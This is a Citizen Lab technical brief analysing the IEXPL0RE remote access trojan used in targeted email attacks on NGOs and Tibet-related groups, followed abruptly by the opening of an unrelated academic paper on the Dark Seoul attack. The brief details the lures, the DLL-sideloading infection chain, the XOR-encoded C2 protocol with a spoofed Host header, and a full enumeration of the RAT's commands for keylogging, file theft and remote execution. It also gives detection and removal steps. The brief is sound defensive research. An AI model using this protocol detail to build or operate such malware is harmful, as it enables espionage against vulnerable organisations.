These emails included an executable attachment in a password-protected archive, which helps prevent detection by antivirus software.
The pass- word was included in the email address.
Organization 2: a news organization operating a website that reports on developments in China, received an email containing a story about a high-rise apartment building fire.
Attached to the email were four images and two executable files (.scr extensions) designed to look like images using the Unicode right-to-left override character.
When each executable file is run, it will install and launch the malware, drop an image, open the image, and delete itself.
The end result is that only an image is left, making the email look more legitimate if the malware is run (figure 1).
FIGURE 1: IMAGE OF A HIGH-RISE FIRE USED TO TRICK RECIPIENTS INTO RUNNING THE MALWARE.
3CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT Organization 3: a Tibet-related organization received two emails with different versions of the malware attached.
The first file was an executable file designed to appear as a video of a speech by the Dalai Lama, attached to an email about a year review of Tibetan human rights issues (figure 2).
The second file was embedded in an Excel spreadsheet attached to an email pretend- ing to be from a conference on climate change.
Emails that contain malicious attachments use a variety of social engineering techniques to appear more legitimate.
Methods include using names of real people and organizations, choosing material that is directly related to the targets interests, and including chains of fake forwards to make it appear as if the email has been circulated.
Including the attachments in a RAR file makes them less likely to be discovered by an antivirus (AV) scanner.
Putting a password on the archive and including it in the email reduces the chanc- es of AV discovery even further.
FIGURE 2: EXAMPLE TARGETED EMAIL WITH IEXPL0RE RAT USING SOCIAL ENGINEERING METHODS.
4CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT A newer version of the RAT payload was later distributed via email in multiple RTF documents to organization 3.
The RTF dropped a DLL alongside a legitimate program vulnerable to DLL in- jection, allowing the program to run without a warning that the program is not digitally signed.
StrokeIt, a program for using mouse gestures, uses a file named config.dll without verifying the authenticity of the file.
By replacing config.dll with the RAT downloader, the malicious code is run while appearing more legitimate to the operating system (figure 3).
FIGURE 3: VALID DIGITAL SIGNATURE FOR THE STROKEIT PROGRAM.
5CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT MALWARE The IEXPL0RE RAT is delivered inside an executable program or document, which is custom- generated for each email.
When a user opens the document or runs the program, it installs a launcher program on the computer.
Antivirus programs frequently fail to detect the launcher program as malicious, as it is custom built for each specific target: the file contains a configura- tion file unique to the target, which is different each time it is sent out.
This method is used to defeat signature-based antivirus programs, which only scan for files that are known to be mali- cious.
As the launcher program is newly generated every time, it will never end up on a signa- ture list until after it is already been used.
Once installed on a system, the launcher program goes through multiple programs to unpack a contained file (the actual RAT) before it can run.
The IEXPL0RE.EXE (or other launcher) pro- gram contains multiple programs, layered like an onion, which eventually unpack a DLL (dy- namic link library, another form of executable file).
The file name varies, but starts with perf and has an extension of .dat, and is saved to the temp folder (often C:\Documents and Set- tings\user\Local Settings\Temp).
Once the perf.dat file is saved to disk, it runs (via injection into svchost.exe, a Windows program) and extracts another DLL into memory.
This program is called ContainerV2, as it is referenced from within the program, although it is never written to the disk.
ContainerV2 connects to the Internet and down- loads another DLL called client.
The client is also kept in memory and never written to the disk.
Once downloaded, ContainerV2 will run the client, which does all of the IEXPL0RE RAT work (figure 4).
FIGURE 4: STRUCTURE OF THE RAT LAUNCHER PROGRAM.
6CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT For Organization 1, the executable launch process looks like this: .exe(attached file, launcher): appears as a text document when run, displays a fake error message saying the file cant be found (figure 5) csv.exe (runs and exits quickly) 360tray.exe (runs and exits quickly) svchost.exe (with injected perf.dat code) ContainerV2 (injected into svchost.exe) client (downloaded and run in memory) FIGURE 5: SOCIAL ENGINEERING TECHNIQUE: A FAKE ERROR MESSAGE HIDING THE FACT THAT THIS IS A PROGRAM.
One advantage of downloading the final stage is that if the attacker wanted to update the RAT software (to add new functionality for example), it can be done very easily.
Because code is down- loaded every time the malware starts, if the code is changed on the server side, existing compro- mised machines will automatically update themselves the next time they are restarted.
Over the time spent analyzing this malware, the client program did have minor changes, possibly bug fixes.
MD5 hashes, also called message digests, are often used to identify a file based on its content.
A hash is a string of hexadecimal characters that identifies a file.
Should the file change in any way, the hash will as well.
Hashes are designed to be easy to compute from a full file, but it is very difficult to find two files with the same hash.
Use of hashes in the context of the IEXPL0RE RAT is difficult, as the downloaded client may change, and the ContainerV2 program is different for every target.
One of the main differences that guarantees that the hash will always be unique is that the configuration file for the RAT (including which command and control servers to connect to) is included in the program.
7CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT For reference some MD5 hashes of IEXPL0RE components include: ORIGINAL ATTACHMENT: Organization 1: d7c826ac94522416a0aecf5b7a5d2afe (EXE) Organization 2: 66e1aff355c29c6f39b21aedbbed2d5c (SCR) Organization 3: 21a1ee58e4b543d7f2fa3b4022506029 (EXE) Organization 3: 8d4e42982060d884e2b7bd257727fd7c (XLS) CONTAINERV2: Organization 1: d46d85777062afbcda02de68c063b877 Organization 2: 85e8c6ddcfa7e289be14324abbb7378d ORGANIZATION 2 CLIENT (ONLY ACTIVE COMMAND AND CONTROL SERVER): November 1, 2011: eb51b384fcbbe468a6877f569021c5d1 November 29, 2011: 8268297c1b38832c03f1c671e0a54a78 (current as of July 20, 2012) INFECTION Once the launcher program is run, it will install the IEXPL0RE binary and a startup link in the Start Menu: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\IEXPL0RE.LNK C:\Documents and Settings\user\Application Data\Microsoft\Internet Explorer\IEXPL0RE.EXE It also leaves traces of the extracted binary and the link file (the .tmp file below) in temp: C:\Documents and Settings\user\Local Settings\Temp\31A.tmp C:\Documents and Settings\user\Local Settings\Temp\perf6cd2e5e9.dat The RAT also uses a few files for configuration and recording keystrokes: C:\WINDOWS\system\lock.dat C:\WINDOWS\system\MSMAPI32.SRG C:\WINDOWS\system32\STREAM.SYS When run, IEXPL0RE will connect to a command and control (C2) server for updates, sending key- logger data, and asking for RAT commands.
The C2 server is specified in a configuration file built into the RAT program.
Each RAT instance is likely built using a packaging program.
The configu- ration file allows for a primary server and an alternate, and may use either a domain or IP.
8CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT Each of the IEXPL0RE samples analyzed uses a different set of C2 servers.
One sample uses two domains that point to the same IP.
The IP changes every few days to few weeks, but remains in one network block located in China.
Other samples use either a single domain name and no backup, or a fixed IP with a localhost address as backup.
The localhost address is a way to find and use a proxy, for example, if a computer is using a circumvention system such as Tor.
Of the two samples using fixed IPs, both were sent to the same organization, and one appears to be a replacement for the other.
Both C2 servers are currently down.
C2 COMMUNICATION IEXPL0RE has two different methods of communication: HTTP POST and GET.
It also has the ability to use a HTTP CONNECT proxy.
POST is the preferred method of communication if it does not work, it will also attempt a GET connection.
All communication from the client to the server is encrypted with a one-byte XOR key 0xCD.
(
Information in this report shows the data after decryption.)
POST commands put the data in the request body, while GET commands put the data in URL parameters.
Server responses are all 200 OK messages with data in the body.
The system keeps track of the communication using a sequence number, which is part of the requested URL.
The sequence number is nine digits long, starts at 000000001, and generally increments by one for each packet sent.
When authenticated, the sequence number jumps to 000001000 if disconnected, the sequence number returns to the next sub-1000 number expected.
THE HEADERS OF THE REQUEST LOOK LIKE THIS: POST /index000000001.asp HTTP/1.1 Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible MSIE 7.0 Windows NT 5.1) Host: update.microsoft.com Connection: Keep-Alive Content-Type: text/html Content-Length: 000041 The Accept-Language, User-Agent, Connection, and Content-Type headers are always fixed.
The Host header is also always fixed as update.microsoft.com any requests to the C2 server made without this header in place will be rejected, often with a redirect to Microsofts website.
When run, ContainerV2 communicates with the C2 server, first establishing a socket by a three-way handshake.
Below, the text at the start of the arrow indicates the packet type, sequence number, and connection socket.
For example, POST 2 (1) means that it is using an HTTP POST request, sequence number 2, on the first established connection (figure.
6).
The text on the line is the data in the packet after decryption.
9CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT FIGURE 6: FIRST C2 CONNECTION Once the first connection has been established, a second connection is made using a similar handshake (figure 7).
FIGURE 7: SECOND C2 CONNECTION When the second connection has been established, the ContainerV2 program uses it to download the client and run it (figure 8).
10CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT FIGURE 8: BINARY DOWNLOAD Once control has been handed off to the client, one connection is used for sending keylogger data from the client to the server, and the other connection is used to request RAT commands from the server.
With the protocol reversed (see Appendix B for a full listing of commands), it was straightfor- ward to write a program that communicates with the C2 server, downloads the client, and sends back commands as desired.
The program maintains the two sockets, sending heartbeat/command request packets at a specified interval, while sending back empty keylogger packets to trick the server into thinking the system is idle (figure 9).
11CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT FIGURE 9: AN EXAMPLE OF THE FAKE MALWARE CLIENT COMMUNICATING WITH THE C2 SERVER.
12CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT CAPABILITIES The IEXPL0RE RAT contains over 40 commands that an attacker can use to manipulate the file system and registry, download and run additional programs, and find and exfiltrate data.
An infected computer defaults to recording keystrokes and sending this data back to the server at regular intervals.
The additional commands are there for interactive control of the system in real-time by an attacker.
This program is likely used in multiple phases.
After infection, the keylogger records data in- cluding email addresses and passwords.
Once an accounts credentials have been captured, the attacker can log in and set up a forwarding address or download all of the data stored online.
Once a compromised machine has been determined useful by looking at the keylogger data, an attacker can use the RAT functionality to download files and install more specific malware - for example, a Skype plugin that records calls.
While post-infection behaviour from an attacker against a real target has not been observed in this investigation, this is a standard method in targeted attacks.
One particular area of interest with this RAT is that it contains a specific functionality for pl- ugins relating to video and audio capture.
Each time the malware connects to the command and control server, it sends a list of all video capture devices present on the computer.
This behav- iour may indicate that the attacker is specifically interested in seeing who is on the other end of the computer, and is actively collecting data on what the targets look like.
For a full list of the commands supported by IEXPL0RE and a description of what they do, see Appendix B: Command Enumeration.
DETECTION AND MITIGATION A system infected with the IEXPL0RE RAT can be found by looking for presence of the IEX- PL0RE files, or by watching network traffic.
In addition to the IEXPL0RE.EXE file itself, presence of the perf.dat files and link files in temp are an indicator that the system is infected.
The timestamps on the files are an indica- tion of how long the system has been infected.
A network intrusion detection system (IDS) can identify infected machines by looking for well- known traffic patterns.
The simplest of these is checking for HTTP traffic to /index[0-9]9.asp.
Blocking this traffic will prevent the infected machine from communicating with the C2 server, receiving new commands, and sending back keylogger data.
The C2 IP or hostname can also be blocked directly once its found, at the network level or (as a temporary measure) in the infected computers hosts file.
13CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT REMOVAL A running copy of IEXPL0RE can be stopped by killing the appropriate svchost process.
This process is identifiable as it is not in the correct place in the process tree.
In figure 10, this is the last process in the list, PID 1256: FIGURE 10: PROCESS EXPLORER SHOWING THE INFECTED SVCHOST.EXE PROCESS (1256).
The process can be killed with the Process Explorer tool, part of the Sysinternals package (figure 10).
Once the process has been terminated, removal is as simple as deleting the installed files (see the section on Infection above for a list).
14CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT CONCLUSIONS The IEXPL0RE RAT is a good example of the current state of APT attacks, especially those tar- geting human rights organizations and NGOs.
While they are not particularly advanced from a technical standpoint, they are custom designed to appeal to and pique the interest of the recipient.
The attacker uses social engineering to get a foot in the door of an organization.
All it takes is for one user to run a malicious program that looks like a legitimate video, spreadsheet, or other document.
Once running on a users machine, the program will silently record passwords and provide the attacker a way of accessing sensitive data.
This report describes what is normal in this area, by detailing what a common attack looks like at each step of the way, from when an email is first received to when data leaves the network.
Many APT campaigns like the one presented in this report exist and continue to steal data every day, but are both avoidable and correctable.
The IEXPL0RE RAT is under active development, as both the client and server components are continuously changing.
The server in particular has exhibited different behavior over time, mostly related to blocking unauthorized access from the outside world.
For example, the redirect to Micro- softs website when referencing an invalid URL was not present when this investigation began.
The presence of development work or upgrades implies that this system is actively used and monitored.
15CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT APPENDIX A: CONFIGURATION FILE The configuration sent to the C2 server on initial connection has the client configuration at the beginning (figure 11), followed by more information about the infected computer (figure 12).
FIGURE 11: CLIENT CONFIGURATION SENT TO C2 16CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT FIGURE 12: DETAILED INFORMATION ON INFECTED COMPUTER SENT TO C2 17CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT APPENDIX B: COMMAND ENUMERATION The following is a list of all commands present in the IEXPL0RE malware, and a detailed description of what data is received or sent over the network for each command.
CODE COMMAND SERVER / CLIENT DESCRIPTION 0x00 Failure C Client response for a variety of  commands to indicate that the operation did not succeed.
0x01 Success C Client response for a variety of  commands to indicate that the operation suc- ceeded.
Contains variable data related to the command request.
0x01 Reply file does not exist C Reply file for plugin does not exist.
Packet contains: [4] - Command code (0x01) 0x02 Reply file over 512kB C Reply file for plugin is over 512kB.
Packet contains: [4] - Command code (0x02) 0x03 Reply file C Reply file for plugin.
Packet contains: [var] - buffer -- implemented so always 0?
0x03 Shutdown S Sends a shutdown  power off   force command to the system.
Requires parameters 0/0.
0x04 Reboot S Sends a reboot  force command to the system.
Requires parameters 0/0.
0x06 Reconnect S Disconnects open connections and reconnects.
0x07 Shut off  display S Sends WM_SYSCOMMAND message SC_MONITORPOWER to shut off  the display.
0x0B Download and install malware S Downloads a file, writes it to disk, and possibly executes it.
Packet contains: [4] - executable size [var] - executable Depending on configuration and AV software present, writes the file to IEX- PL0RE.EXE (in application data folder, Microsoft subfolder), fxsst.dll (in Win- dows system directory), or SENS64.DLL (in temp path).
May run IEXPL0RE.
EXE depending on options may also install configuration file (STREAM.SYS or Cache).
Returns failure or success with parameters 0/0.
0x0C Install dropped files S Checks configuration file options and moves the appropriate dropped files to the correct locations (may vary depending on Windows version).
Returns failure or success with parameters 0/0.
18CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x0D Update configuration file S Downloads new configuration parameters and writes the updated information to the configuration file.
Packet option 2: [2] - Value1  2 [180] - Unused?
Packet option 1: update campaign name?
[
2] - Value1  1 [4] - campaign name length [var] - campaign name Packet option 4: update configuration file [2] - Value1  4 [2] - port [2] - unknown (offset 264) [2] - unknown (offset 266) [4] - unknown (offset 664) [1] - unknown (offset 274) [1] - unknown (offset 534) [2] - unknown (offset 532) [2] - unknown (offset 270) [2] - unknown (offset 272) [4] - campaign name length [var] - campaign name [4]  - C2 name length [var] - C2 name [4]  - unknown length [var] - unknown (unused?)
[
4]  - unknown length [var] - unknown (offset 275) [4]  - unknown length [var] - unknown (offset 535) [4] - unknown length [var] - unknown (offset 599) Returns failure or success with parameters 0/0.
19CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x0E Download and run plugin S Opens a new connection in a new thread, downloads a file, then runs it (possibly with Internet Explorer credentials).
This looks like a plugin activation for screen captures and audio recording -- references offscreen.dll and offsound.dll.
Packet contains: [4] - unknown (field_4) [4] - unknown length [var] - unknown (field_8) [4] - DLL name length [var] - DLL name [4] - DLL arguments length [var] - DLL arguments [4] - Reply filename length [var] - Reply filename [4] - unknown length [var] - unknown (field_620) [4] - unknown length [var] - unknown (field_724) [1] - unknown (field_828) [1] - unknown (field_829) [1] - unknown (field_82A) [1] - Add process ID, socket, verb to DLL arguments?
[
1] - Create process as IE user?
[
4] - unknown length [var] - unknown (field_82C) [4] - unknown (field_934) Handshake for the new connection uses connection number -1.
If  the connection is successful, replies with a failure packet, parameters 0/0, containing: [4] - unknown (field_4) [4] - unknown length [var] - unknown (field_8) [4] - DLL name length [var] - DLL name [4] - Reply filename length [var] - Reply filename [4] - unknown length [var] - unknown (field_620) [4] - unknown length [var] - unknown (field_724) [1] - unknown (field_828) [1] - unknown (field_829) [4] - unknown length [var] - unknown (field_82C) [4] - unknown (field_934) If  successful, it will send the C2 an X command.
The C2 will reply with a file, which the client writes to disk.
The client will send a success or failure packet with parameters 0/0 depending on whether the file was received.
If  field_828 is non-zero, the client will send the contents of  the reply file- name specified in a 0x03 command with parameters 0/0.
The way this is implemented, it appears as if  it will always send an empty packet.
If  process creation is unsuccessful, it will send a failure packet with param- eters 0/0 containing the following: [4] - command (0x00) 20CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x0F Download and execute file S Downloads a file and runs it.
Packet contains: [4] - executable size [var] - executable Downloads the file to temp and executes it.
Returns failure or success with parameters 0/0.
0x10 Unknown S Updates a values in the lock.dat file and sets an event.
Packet contains: [4] - Value length [var] - Value Sets the DWORD at lock.dat offset 516 to 2, and copies the value from the packet to offset 520.
Sets the USERMODECMD event.
0x11 Unknown S Reads a value out of  temp/screenlog.txt.
Returns a success or failure command with parameters 0/0 depending on whether the value read equals 1.
The command contains: [4] - Value Where value equals: 0 : file does not exist 3 : value read from file equals 1 4 : value read from file equals 0 5 : value read from file equals 2 0x12 Unknown S Reads a value out of  temp/offsoundlog.txt.
Returns a success or failure command with parameters 0/0 depending on whether the value read equals 1.
The command contains: [4] - Value Where value equals: 0 : file does not exist 3 : value read from file equals 1 4 : value read from file equals 0 5 : value read from file equals 2 0x1E sub_10004603() C If  not empty, packet contains: [2] - _WIN32_FIND_DATAA structure length [var] - Data for file name If  empty, packet contains: [2] - Set to 0 [1] - 1 if  structure size  40000, 0 if  failure Parameters are set to Res1/Res2.
21CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x20 Move file S Moves a file or directory.
Packet contains: [4] - Source length [var] - Source [4] - Destination length [var] - Destination Returns failure or success with parameters 1/Res1 0x21 Delete file S Deletes a file or directory.
Packet contains: [4] - File name length [var] - File name Returns a success or failure command with parameters Res2/Res1.
0x22 Create directory S Creates a directory.
Packet contains: [4] - Path name length [var] - Path name Returns a success or failure command with parameters Res2/Res1.
0x23 GetSystemInfo request S Requests client to send a 0x24 response with the output of  GetSystemInfo().
0x24 GetSystemInfo re- sponse C Contains a _SYSTEM_INFO struct with the output of  GetSystemInfo().
0x26 Get document paths S Gets paths for CSIDL special folders PERSONAL (My Documents), DESKTOP- DIRECTORY (Desktop), and HISTORY (Internet history).
Returns a success command containing: [4] - My Documents path length [var] - My Documents path [4] - Desktop path length [var] - Desktop path [4] - Internet history path length [var] - Internet history path Parameters are set to 1/Res1.
0x29 Move file or directory S Moves a file or directory.
Packet contains: [4] - Source length [var] - Source [4] - Destination length [var] - Destination Returns failure or success with parameters 1/Res1.
22CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x2A Set file access time and attributes S Sets the creation time, last access time, last write time, and file attributes of a file.
Packet contains: [8] - CreationTime [8] - LastAccessTime [8] - LastWriteTime [4] - dwFileAttributes [4] - File name length [var] - File name Returns failure or success with parameters Res2/Res1.
0x2B Unknown S Does some file-walking, including across all drives available (A to Z).
Replies with a 0x2C command followed by a number of  0x2D commands.
Packet contains: [4] - Directory length [var] - Directory [4] - Unknown length [var] - Unknown 0x2C Unknown start re- sponse C Response to the 0x2B command.
Uses parameters Res2/Res1.
Packet contains: [4] - Number of  0x2D packets to follow 0x2D Unknown response C Response to the 0x2B command.
Uses parameters Res2/Res1.
Packet contains: [4] - Unknown data length [var] - Unknown data, result of  sub_10001B73() 0x2F Owner name, organiza- tion, and serial number request S Sends the owner name, organization, and serial number.
Returns a success response with the following data: [4] - Username length [var] - Username [4] - User organization length [var] - User organization [4] - Serial length [var] - Serial 0x46 Read from file S Packet contains: [8] - File offset [2] - Characters to read [4] - Length of  field 3 [var] - Field 3 Replies with a 0x47 packet containing data from a file.
0x47 Read from file response C Response to 0x46 that contains data from a file.
Sent with parameters 2/2.
Packet contains: [2] - Size [var] - Data 23CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x4B List files S Lists files in a given directory along with file size and last write times.
Packet contains [4] - Directory length [var] - Directory 0x4C Start of  list files response C Start of  list response to 0x4B.
Sent with parameters 2/2.
Packet has no payload.
0x4D End of  list files response C End of  list response to 0x4B.
Sent with parameters 2/2.
Packet has no payload.
0x4E List files response C List item for response to 0x4B.
Sent with parameters 2/2.
Packet contains: [8] - FindFileData.nFileSizeLow, FindFileData.nFileSizeHigh [8] - .ftLastWriteTime.dwLowDateTime, .dwHighDateTime [4] - length of  next field [var] - whole string: filename plus size and write time 0x4F Open file S Opens a specified file for use with 0x46 [and friends].
Packet  contains: [4] - File name length [var] - File name [4] - File mode length [var] - File mode Returns failure or success with parameters 2/2.
0x50 Close file S Closes file opened with 0x4F command.
No response sent.
0x5A Start of  running pro- gram list C Response to 0x5D command that signals the start of  a list of  running pro- grams.
Packet is empty with parameters 3/Res1.
0x5B End of  running pro- gram list C Response to 0x5D command that signals the end of  a list of  running pro- grams.
Packet is empty with parameters 3/Res1.
0x5C Running program C Response to 0x5D command that contains the first executable module for a single process.
One packet is sent per process.
Packet contains: [24] - PROCESSENTRY32.th32ProcessID [4] - length of  executable module name [var] - length of  executable module 0x5D List running programs S Sends a list of  executable names for running processes.
Replies with a 0x5A response, followed with a 0x5C packet for each executable, and ends with a 0x5B response.
Client uses the CreateToolhelp32Snapshot() API function followed by Pro- cess32First()/Process32Next() to list all processes.
The executable name is the module name returned by Module32First().
0x5E Kill process S Kills a running process.
Packet contains: [4] - Process ID Returns failure or success with parameters 3/Res1.
24CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x5F Run program S Runs a program already present on the client.
Packet contains: [4] - Command line length [var] - Command line Returns success or failure with parameters 3/Res1.
0x72 Unknown - open con- nection B?
S Creates multiple new threads and a new C2 connection (via full handshake) with connection number 11.
Packet contains: [4] - Unknown length [var] - Unknown value (if  0  length  80000) Returns success or failure with parameters 11/11.
If  successful, contains the following payload: [4] - Unknown length [var] - Unknown (v2  808) [4] - Unknown value 0x73 Unknown - remove con- nection B?
S May relate to uninstalling.
Packet contains: [4] - Process ID Kills the process with given process ID, and closes a socket.
Returns success or failure with parameters 11/11.
If  failure, contains the following payload: [4] - Process ID [4] - Unknown length [var] - Unknown (v2  808) 0x82 Number of  services C Response to 0x85 command with the number of  services on the system.
Packet contains: [4] - Number of  services returned by EnumServicesStatusA() Response parameters are 5/5.
25CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x84 Service information C Response to 0x85 command with details on a service.
Packet contains: [4] - Service handle [4] - Current state [4] - Start type [4] - Error control [4] - Length of  service name [var] - Service name [4] - Length of  service display name [var] - Service display name [4] - Length of  service binary path [var] - Service binary path [4] - Length of  service description [var] - Service description [4] - Length of  service start name [var] - Service start name Response parameters are 5/5.
0x85 List services S Lists all services on the system.
Sends a 0x82 response with the number of services, then 0x84 responses with service details.
0x86 Start service S Starts a service on the system.
Packet contains: [4] - Length of  service name [var] - Service name Returns success with parameters 5/5 if  service is started.
0x87 Control service S Sends a control message to a service on the system.
Packet contains: [4] - Length of  service name [var] - Service name [4] - Service control parameter Service control parameters are: 1 - stop 2 - pause 3 - continue Returns success with parameters 5/5 with the payload: [4] - Service current state 26CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x88 Create service S Creates a new service on the system.
Packet contains: [4] - Service name length [var] - Service name [4] - Display name length [var] - Display name (set in CreateServiceA()) [4] - Binary path name length [var] - Binary path name [4] - Display name length [var] - Display name (set by ChangeServiceConfig2A()) [4] - Start type Returns success or failure with parameters 5/5.
If  success, contains the fol- lowing payload: [4] - Service handle [4] - Current state [4] - Start type [4] - Error control [4] - Length of  service name [var] - Service name [4] - Length of  service display name [var] - Service display name [4] - Length of  service binary path [var] - Service binary path [4] - Length of  service description [var] - Service description [4] - Length of  service start name [var] - Service start name 0x89 Delete service S Deletes a service from the system.
Packet contains: [4] - Service name length [var] - Service name Returns success or failure with parameters 5/5.
0x8A Set service options S Changes the display name and start type of  a service.
Packet contains: [4] - Service name length [var] - Service name [4] - Display name length [var] - Display name (max 256 chars) [4] - Display name length [var] - Display name (max 512 chars) [4] - Service start type Returns success or failure with parameters 5/Res2 0x96 Enumerate registry keys S Opens a registry key and enumerates its subkeys.
Replies with an 0x97 packet with subkey information.
Packet contains: [4] - Registry key name length [var] - Registry key name 27CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x97 Enumerate registry keys response C Contains a list of  all the subkey names for a given registry key.
Packet contains: [4] - Number of  subkeys (N) [var, N times] : [4] - Subkey name length [var] - Subkey name Parameters are set to 6/6.
0x98 Registry key last write time query S Requests the last write time on a specified registry key and returns the infor- mation in a 0x99 packet.
Packet contains: [4] - Registry key name length [var] - Registry key name 0x99 Registry key last write time response C Contains the last write time of  a registry key.
Packet contains: [8] - Last write time (_FILETIME structure) Parameters are set to 6/6.
0x9A Enumerate registry key values S Opens a registry key and enumerates its values.
Replies with a 0x9B packet with the number of  values and maximum size values.
Sends a 0x9C packet for each value, then signifies the end of  the list with a 0x9D packet.
Packet contains: [4] - Registry key name length [var] - Registry key name 0x9B Start of  registry key value enumeration list C Response to the 0x9A command signifying the start of  a registry key value enumeration.
Packet contains: [4] - Number of  values associated with the registry key [4] - Max value name length [4] - Max value length Parameters are set to 6/6.
0x9C Registry key value enu- meration item C Response to the 0x9A command signifying a registry key value.
Packet contains: [4] - Type [4] - Value name size [var] - Value name [4] - Value data size [var] - Value data Parameters are set to 6/6.
28CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0x9D End of  registry key value enumeration list C Response to the 0x9A command signifying the end of  a registry key value enumeration.
Parameters are set to 6/6.
0x9F Delete registry key value S Deletes a value from a registry key.
Packet contains: [4] - Registry key name length [var] - Registry key name [4] - Registry key value length [var] - Registry key value Returns success or failure with parameters set to 6/6.
0xA0 Change registry key value S Changes a value of  a registry key.
Packet contains: [4] - Registry key name length [var] - Registry key name [4] - Registry key old value length [var] - Registry key old value [4] - Registry key new value length [var]  Registry key new value Returns success or failure with parameters set to 6/6.
0xA1 Create empty registry key value S Creates a registry key value of  a specified type with no value.
Packet contains: [4] - Registry key name length [var] - Registry key name [4] - Registry key value name length [var] - Registry key value name [4] - Registry key value type Returns success or failure with parameters set to 6/6.
0xA2 Create registry key S Creates a registry key.
Can be a subkey.
Packet contains: [4] - Registry key name length [var] - Registry key name Returns success or failure with parameters set to 6/6.
29CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0xA3 Set registry key type and value S Sets a registry key type and value.
Packet always contains: [4] - Registry key name length [var] - Registry key name [4] - Registry value name length [var] - Registry value name [4] - Registry value type The value then can take a different form based on the value type.
Value type 0 (empty): No payload.
Value type 1 (REG_SZ, null terminated string): [4] - Registry value length [var] - Registry value Value type 3 (REG_BINARY, raw binary data): [4] - Registry value length [var] - Registry value Value type 4 (REG_DWORD, double word): [4] - Registry value Returns success or failure with parameters 6/6.
0xA4 NOP S Does nothing.
Possibly an unimplemented or deleted function.
0xA5 Delete registry key S Deletes a registry key.
Can be a subkey.
Packet contains: [4] - Registry key name length [var] - Registry key name Returns success or failure with parameters 6/6.
0xB6 Keylogger response C Sends keylogger data from the keylogger buffer file.
Keylogger data: [4] - Length [1] - All bytes read?
1 or 0 [var] - Keylogger data Parameters are set to the output of  function 4 in the class C vtable?
0xB8 Keylogger data request S Requests keylogger data in a 0xB6 packet.
30CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT 0xC8 Unknown - get a screen- shot?
S Looks suspiciously like taking a screenshot.
Packet contains: [2] - Unknown [2] - Unknown [1] - Unknown Replies with failure or success with parameters 8/8.
If  success, contains the following fields: [2] - Monitor width size (X) in pixels [2] - Monitor height size (Y) in pixels [4] - Unknown [4] - Unknown size (screenshot?)
[
var] - Unknown (screenshot?)
0xCA Send keyboard or mouse event S Packet contains: [4] - Unknown [4] - Extra information for keybd_event or mouse_event [4] - Flags for keybd_event or mouse_event [4] - Vk for keybd_event [4] - x coordinate for mouse or Vk for keyboard [4] - y coordinate for mouse [4] - Data for mouse event 0xCB Downloads a file S Downloads a file to temp\off.dll.
Packet contains: [2] - Unknown [2] - Unknown [2] - Unknown [4] - Data length [4] - Unknown length [var] - Unknown [4] - Unknown length [var] - Unknown [4] - File data length [var] - File data Writes log information on the size of  the downloaded file to c:\aaa\ccc.txt.
cover Introduction Main Conclusions Appendix A Appendix B
CISAK 2013  C1/O/8 Dark Seoul Cyber Attack: Could it be worse?
Jonathan A.P.
Marpaung1, HoonJae Lee1 1Cryptography  Network Security Lab, Dongseo University San 69-1, Jurye 2-dong, Sasang-gu, Busan 617-716, Korea 1jonathanspentera.com 1hjleedongseo.ac.kr Abstract.
On March 20, 2013 a cyber attack now known as Dark Seoul, paralyzed several major banking services and broadcasters in South Korea.
Labeled by the media as cyber terror, the attack significantly disrupted these services for at least one day.
Despite these facts, various indicators suggest that the attack had a low level of sophistication.
Major cyber attacks in the past such as Ten Days of Rain and the SK Communications breach employed far more advanced techniques compared to Dark Seoul.
We examine the technical details of Dark Seoul by outlining the primary attack vector used, describing the malware components, and discussing the malwares evasion techniques.
Furthermore we compare this incident to previous attacks in order to determine its technical sophistication using these attacks as a relative benchmark.
Lastly we explore various malware design techniques that were not used in the malware such as multiple propagation vectors, 0-day exploits, and evasion techniques, thus presenting a proof of concept of the malwares low technical sophistication.
Keywords: advanced persistent threat cyber attack Dark Seoul defense malware analysis A.
INTRODUCTION On March 20, 2013, at approximately 14.15PM South Korea suffered a cyber attack that resulted in the denial of service of several major banks and broadcasters.
Reported as a major cyber attack, our analysis of the malware and attack vectors employed suggests that the malware had a relatively low level of technical sophistication.
Firstly we explore the technical components of Dark Seoul to analyze the sophistication of the malware and attack vectors used.
This analysis is based on information obtained from the media as well as technical reports of various malware research labs such as AhnLab, Imperva, Symantec, Avast, Kaspersky, Alienvault, and  Sophos.
Secondly we  conduct a  comparative study of Dark Seoul by looking at prior cyber attacks, namely Stuxnet, 10 Days of Rain, and the SK Communications breach.
By doing so we draw a picture of South Koreas current security posture since those attacks.
Lastly we discuss several design characteristics of advanced malware used by determined adversaries  to  carry  out  more  technically  advanced  and stealthier attacks, therefore highlighting the components where Dark Seoul lacked sophistication.
B.  POSTMORTEM Television broadcasters YTN, MBC, and banks KBS, Shinhan, Nonghyup, and Jeju were targeted in this recent attack.
